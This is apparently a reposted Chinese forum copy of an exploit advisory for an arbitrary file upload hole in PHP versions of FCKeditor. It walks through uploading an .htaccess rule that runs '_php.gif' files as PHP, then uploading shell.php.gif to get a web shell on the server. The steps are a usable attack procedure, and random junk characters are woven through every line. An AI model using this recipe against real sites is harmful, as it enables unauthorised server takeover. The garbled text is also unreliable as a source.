FCKeditor所有php版本Upload上传漏洞
; \4 N5 ]- V% N* |: {作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:077 {' N$ i0 g) ]
减小字体 增大字体2 @: F1 f( X7 z2 F
[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability6 A& s. H% k1 q( H$ T
[+] Date: 2011# W e2 X3 f) a
[+] Author : sinesafe.cn$ A3 F0 J; H: u) f- F8 s
[+] Website : WwW.sinesafe.cn
1 K2 R0 A% D/ C4 Z———————————————————5 n, y. C3 X: k
1.create a htaccess file:
/ G8 U4 G$ |5 L6 r$ k7 v9 c' ?code:
! c' R$ Z. V k! I# L. w<FilesMatch “_php.gif”>( u' w0 ^" f1 L2 O0 s8 g
SetHandler application/x-httpd-php
$ U" B/ [- D$ `2 l0 |$ z: G/ |</FilesMatch>
2 \- {# u1 L7 d4 c4 k- F2 D; L& I* K2 e* B+ W w2 T
2.Now upload this htaccess with FCKeditor.# {/ Q: O$ ^' _# K" o9 R1 G9 W
% d F- o, j4 Z nhttp://www.sinesafe.cn/FCKeditor ... er/upload/test.html
' M$ u% g4 d5 d* k& L* t, L" V& L: K
http://www.sinesafe.cn/FCKeditor ... onnectors/test.html
" u; C' D+ c8 b y' K0 X
& Z: c- O! \6 J4 y/ y& h' g- p———————————————————————————————-+ M s% v% `1 ]! F
3.Now upload shell.php.gif with FCKeditor.
8 C- u- ]$ @0 A( \! r4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically.
! B8 F$ o" D, F; \. t) ^* _9 @5.http://www.sinesafe.cn/anything/shell_php.gif8 m+ D7 N# ]; z. h! Y$ `
6.Now shell is available from server. |
5 Q; ^# o2 u: G6 c4 W% v/ L
7 s/ q; m) e3 P" G( b, }8 @& ~
* ]3 c0 i u0 G& I% `: j$ E. d
|
发表于 2013-10-27 17:25:21
收藏
支持
反对